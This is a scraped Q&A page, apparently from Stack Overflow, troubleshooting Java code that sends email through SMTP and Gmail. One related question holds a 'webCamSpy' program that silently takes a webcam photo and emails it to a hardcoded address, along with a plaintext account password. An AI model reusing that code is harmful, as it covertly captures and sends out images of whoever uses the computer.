I am using the code below to send emails using java ,my project is running on a tomcat server.
the problem that user is receiving same email twice.
after some research it seems that java is sending email twice,any one can help me how I handle it?
Properties props;
Session session;
try {
props = new Properties();
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", "....");
props.put("mail.smtp.port", "25");
props.put("mail.smtp.connectiontimeout", "2000");
props.put("mail.smtp.timeout", "2000");
props.setProperty("charset", "utf-8");
session = Session.getInstance(props,
new Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
// session.setDebug(true);
} catch (Exception e1) {
e1.printStackTrace();
}
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress(from));
if (!to.equals("") && to != null) {
String[] toArray = to.split(";");
InternetAddress[] toList = new InternetAddress[toArray.length];
for (int i = 0; i < toArray.length; i++) {
toList[i] = new InternetAddress(toArray[i]);
}
message.addRecipients(Message.RecipientType.TO, toList);
}
if (!cc.equals("") && cc != null) {
String[] ccArray = cc.split(";");
InternetAddress[] ccList = new InternetAddress[ccArray.length];
for (int i = 0; i < ccArray.length; i++) {
ccList[i] = new InternetAddress(ccArray[i]);
}
message.addRecipients(Message.RecipientType.CC, ccList);
}
message.setSubject(subject);
//message.setText(emailBody);
message.setContent(emailBody, "text/html; charset=utf-8");
Transport.send(message);
} catch (MessagingException e) {
throw new RuntimeException(e);
}
A way to solve errors when sending an email and, moreover, when you want to do something that has been already done from someone else, is by using a library. Open source libraries are used from a lot of developers and their bugs are all the times less than a custom source code. I would suggest you to use Apache commons Email Library.
Using this link you can find a lot of examples.
Related
I am trying to make a jar file from the following code:
public class Main {
public static void main(String[] args) {
boolean net = true;
int num = 0;
do {
if (netIsAvailable()) {
webCapture();
mailSend();
net = false;
}
} while (net);
System.exit(0);
}
public static void webCapture() {
// get default webcam and open it
Webcam webcam = Webcam.getDefault();
webcam.setViewSize(new Dimension(640, 480));
// creates test2.jpg
WebcamUtils.capture(webcam, "test2", "jpg");
}
private static boolean netIsAvailable() {
try {
final URL url = new URL("http://www.google.com");
final URLConnection conn = url.openConnection();
conn.connect();
return true;
} catch (MalformedURLException e) {
throw new RuntimeException(e);
} catch (IOException e) {
return false;
}
}
public static void mailSend() {
final String username = "javaMailTest002#gmail.com";
final String password = "anaaremere";
Properties props = new Properties();
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress(username));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse("alindradici#gmail.com"));
message.setSubject("Your computer has been accessed");
message.setText("Congratulation!");
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();
messageBodyPart = new MimeBodyPart();
String file = "C:\\Fast\\JDBCDemoApp\\webCamSpy\\test2.jpg";
String fileName = "attachmentName";
DataSource source = new FileDataSource(file);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileName);
multipart.addBodyPart(messageBodyPart);
message.setContent(multipart);
Transport.send(message);
System.out.println("done, email sent ok");
} catch (Exception e) {
System.out.println("Email sending problems");
e.printStackTrace();
}
}
}
Works fine,compiles and runs without problems,but when i do:
File | Project Structure | Artifacts click the plus icon and create new artifact choose --> jar --> From modules with dependencies.
Build | Build artifacts
and when i try to run the new created jar file I get the error:a jni error has occurred please check your installation and try again . Any idea how to solve this?
What are you doing to run the jar?
From command-line: java -jar name_of_your_created.jar
I'm trying to configure my app to send mail, using gmail. I looked up the gmail javamail documentation and I've been able to write that piece of code:
String from = mymail;
String pass = mypass;
String[] to = { somemail }; // list of recipient email addresses
String subject = "Java send mail example";
String body = "Welcome to JavaMail!";
Properties props = System.getProperties();
String host = "smtp.gmail.com";
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", host);
props.put("mail.smtp.user", from);
props.put("mail.smtp.password", pass);
props.put("mail.smtp.port", "587");
props.put("mail.smtp.auth", "true");
Session session = Session.getInstance(props, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(from, pass);
}
});
MimeMessage message = new MimeMessage(session);
try {
message.setFrom(new InternetAddress(from));
InternetAddress[] toAddress = new InternetAddress[to.length];
// To get the array of addresses
for( int i = 0; i < to.length; i++ ) {
toAddress[i] = new InternetAddress(to[i]);
}
for( int i = 0; i < toAddress.length; i++) {
message.addRecipient(Message.RecipientType.TO, toAddress[i]);
}
message.setSubject(subject);
message.setText(body);
Transport transport = session.getTransport("smtp");
transport.connect(host, from, pass);
transport.sendMessage(message, message.getAllRecipients());
transport.close();
}
catch (AddressException ae) {
ae.printStackTrace();
}
catch (MessagingException me) {
me.printStackTrace();
}
but I keep getting the following error:
javax.mail.AuthenticationFailedException: 534-5.7.14 <https://accounts.google.c....
What should I try to change ?
It may be that Gmail account is not configured to use less secure authentication. You can change that by logging into the account you are trying to send email from and then going to this page. On that page you can turn on access by less secure authentication. This should solve the problem
I am sending out an email pro-grammatically, but the subject in email is getting garbled(posted below). Can anyone tell me what I am doing wrong. Thanks a lot.
Code to send email :
final String from = "from#gmail.com";
final String emailPassword = "password";
final String to = "somemail#gmail.com";
final String ccMail = "ccmail#gmail.com";
String[] mailAddressTo = new String[2];
mailAddressTo[0] = to;
mailAddressTo[1] = ccMail;
InternetAddress[] mailAddress_TO = new InternetAddress[mailAddressTo.length];
for (int i = 0; i < mailAddressTo.length; i++)
{
try {
mailAddress_TO[i] = new InternetAddress(mailAddressTo[i]);
} catch (AddressException ignored) { }
}
Properties props = new Properties();
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.host", "");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.port", "25");
Session session = Session.getDefaultInstance(props,
new javax.mail.Authenticator(){
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(
from, emailPassword);
}
});
try {
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress(from));
message.addRecipient(Message.RecipientType.TO,new InternetAddress(to));
message.addRecipients(Message.RecipientType.TO, mailAddress_TO);
message.setSubject("Es hat sich jemand für einen Kurs eingeschrieben");
String messageText = "some text";
message.setContent(messageText,"text/html;charset=UTF-8");
Transport.send(message);
} catch (MessagingException e) {
e.printStackTrace();
}
}
Subject output :
=?ANSI_X3.4-1968?Q?Es_hat_sich_jemand_f=3Fr_einen_Kurs_eingeschrieben?=
The above output I am getting in mail-client and in browsers as well. What am I doing wrong?
This seems to be a problem with the used character set. To test this you could try to set the Character Encoding in your source code:
System.setProperty("mail.mime.charset","Cp1252");
I think the JavaMail API checks some properties but I can't remember wich ones.
I was code a java email sending program. But when i click the send button the button appear hanging mode & program still running, but mail did not send.
I can't detect the problem. can anybody help me...
The code is below.
Properties props = new Properties();
props.put("mail.transport.protocol", "smtp");
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.starttls.enable", "false");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
Session session = Session.getDefaultInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication("myid#gmail.com", "password");
}
}
);
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("myid#gmail.com"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("senderid#gmail.com"));
message.setSubject("Demo mail");
message.setText("Hello, world!");
Transport.send(message);
JOptionPane.showMessageDialog(this, "Message sent!");
} catch (Exception e) {
JOptionPane.showMessageDialog(this, e);
}
My email account have not activate 2-step verification service.
And it also work in outlook email sending software.. I tested.
But not work on my java program.
I believe the Authenticator class should be extended. Here is an example that works for me:
public class SendEmail {
public SendEmail () {}
public void send (String text){
String host = "smtp.gmail.com";
String username = "user#email.com";
String password = "password";
Properties props = new Properties();
// set any needed mail.smtps.* properties here
Session session = Session.getInstance(props, new GMailAuthenticator("user", "password"));
Message msg = new MimeMessage(session);
Transport t;
try {
msg.setText(text);
msg.setRecipient(Message.RecipientType.TO, new InternetAddress("stackkinggame#gmail.com", "Stack King"));
t = session.getTransport("smtps");
t.connect(host, username, password);
t.sendMessage(msg, msg.getAllRecipients());
t.close();
Gdx.app.log("Email", "Message sent successfully.");
}
catch (Exception e) {
e.printStackTrace();
}
}
class GMailAuthenticator extends Authenticator {
String user;
String pw;
public GMailAuthenticator (String username, String password)
{
super();
this.user = username;
this.pw = password;
}
public PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(user, pw);
}
}
}
First, fix all the common JavaMail mistakes in your program.
Second, since you're using Gmail, make sure you've enabled support for less secure apps.
Finally, you need to provide more details than "it doesn't work". The JavaMail debug output would be helpful.
If anyone tried/found working java email/smtp/imap client program that connects to cPanel's email a/cs and send emails out then please share it. It has been a tiresome efforts in trying to find that code online but none of them works fine. I did try more than five varieties of code but nothing worked. Below are few samples:
Sample# 1
String host = "mail.domain.net";
String user = "catch-all#domain.net";
String pass = "xxxx";
String to = "admin#domain.net";
String from = "catch-all#domain.net";
String subject = "Dummy subject";
String messageText = "Dummy body";
boolean sessionDebug = false;
Properties props = System.getProperties();
props.put("mail.host", host);
props.put("mail.transport.protocol", "smtp");
props.put("mail.smtp.port", 2525); //25 - default
Session mailSession = Session.getDefaultInstance(props, null);
mailSession.setDebug(sessionDebug);
Message msg = new MimeMessage(mailSession);
try {
msg.setFrom(new InternetAddress(from));
InternetAddress[] address = {new InternetAddress(to)};
msg.setRecipients(Message.RecipientType.TO, address);
msg.setSubject(subject);
msg.setSentDate(new Date());
msg.setText(messageText);
Transport transport = mailSession.getTransport("smtp");
transport.connect(host, user, pass);
transport.sendMessage(msg, msg.getAllRecipients());
transport.close();
} catch (Exception e) {
e.printStackTrace();
}
Error
Sending mail.. Done!javax.mail.MessagingException: Could not connect to SMTP host: mail.dealstock.net, port: 25;
nested exception is:
java.net.ConnectException: Connection refused
at com.sun.mail.smtp.SMTPTransport.openServer(SMTPTransport.java:1706)
at com.sun.mail.smtp.SMTPTransport.protocolConnect(SMTPTransport.java:525)
at javax.mail.Service.connect(Service.java:291)
at javax.mail.Service.connect(Service.java:172)
at javax.mail.Service.connect(Service.java:192)
at com.mail.EmailsSender2.main(EmailsSender2.java:209)
Caused by: java.net.ConnectException: Connection refused
at java.net.PlainSocketImpl.socketConnect(Native Method)
at java.net.PlainSocketImpl.doConnect(PlainSocketImpl.java:351)
at java.net.PlainSocketImpl.connectToAddress(PlainSocketImpl.java:213)
at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:200)
at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:432)
at java.net.Socket.connect(Socket.java:529)
at java.net.Socket.connect(Socket.java:478)
at com.sun.mail.util.SocketFetcher.createSocket(SocketFetcher.java:284)
at com.sun.mail.util.SocketFetcher.getSocket(SocketFetcher.java:227)
at com.sun.mai
From the Cpanel account, the designated port is 2525, if secured then 465, but none of the ports work. With post 2525, it does connects, but there is no response and waits for 1-2 minitues and then timeouts. If I change to port 25, then it simply throws above error. With same Cpanel email a/c my another program able to connect and read emails through POP, but failing with sending emails.
Appreciate if you can share your comments/inputs.
I have hostgator, and when creating session, use the following code it works (with no encryption or SSL, not TLS).
btw, port 25 is blocked by my isp (Verizon), and hostgator has it on port 26, not 2525. make sure your hosting company has it running on 2525.
private Session getSession(final EmailConfig emailConfig) {
String port = Integer.toString(emailConfig.getPort());
Properties props = new Properties();
props.put("mail.smtp.host", emailConfig.getHost());
props.put("mail.smtp.port", port);
if (Encryption.SSL == emailConfig.getEncryption()) {
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.socketFactory.port", port);
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
}
else if (Encryption.TLS == emailConfig.getEncryption()) {
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
}
return Session.getInstance(props, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(emailConfig.getUsername(), emailConfig.getDecryptedPassword());
}
});
}
private void sendMessage(Session session, InternetAddress from, InternetAddress[] to, InternetAddress[] cc,
InternetAddress[] bcc, String subject, String text) throws AuthenticationFailedException {
Message message = new MimeMessage(session);
try {
message.setFrom(from);
if (to != null) {
message.setRecipients(Message.RecipientType.TO, to);
}
if (cc != null) {
message.setRecipients(Message.RecipientType.CC, cc);
}
if (bcc != null) {
message.setRecipients(Message.RecipientType.BCC, bcc);
}
message.setSubject(subject);
message.setText(text);
Transport.send(message);
}
catch (AuthenticationFailedException ex) {
log.info("authentication failed", ex);
throw ex;
}
catch (MessagingException e) {
log.info("error sending message", e);
e.printStackTrace();
}
}
This would definitely work for you.
Just call this function to send automated email to client.
In parameter "to" is email address to which you want to send an email.
I usually do it in Maven project. If you are using maven project then import following dependencies.
https://mvnrepository.com/artifact/javax.mail/mail/1.4
final String username = "youremail#gmail.com";
final String password = "yourpassword";
Properties props = new Properties();
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.starttls.enable", "true");
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
try {
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("youremail#gmail.com"));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse(to));
message.setSubject(subject);
message.setContent(emailBody, "text/html; charset=utf-8");
Transport.send(message);
System.out.println("Done");
} catch (MessagingException e) {
throw new RuntimeException(e);
}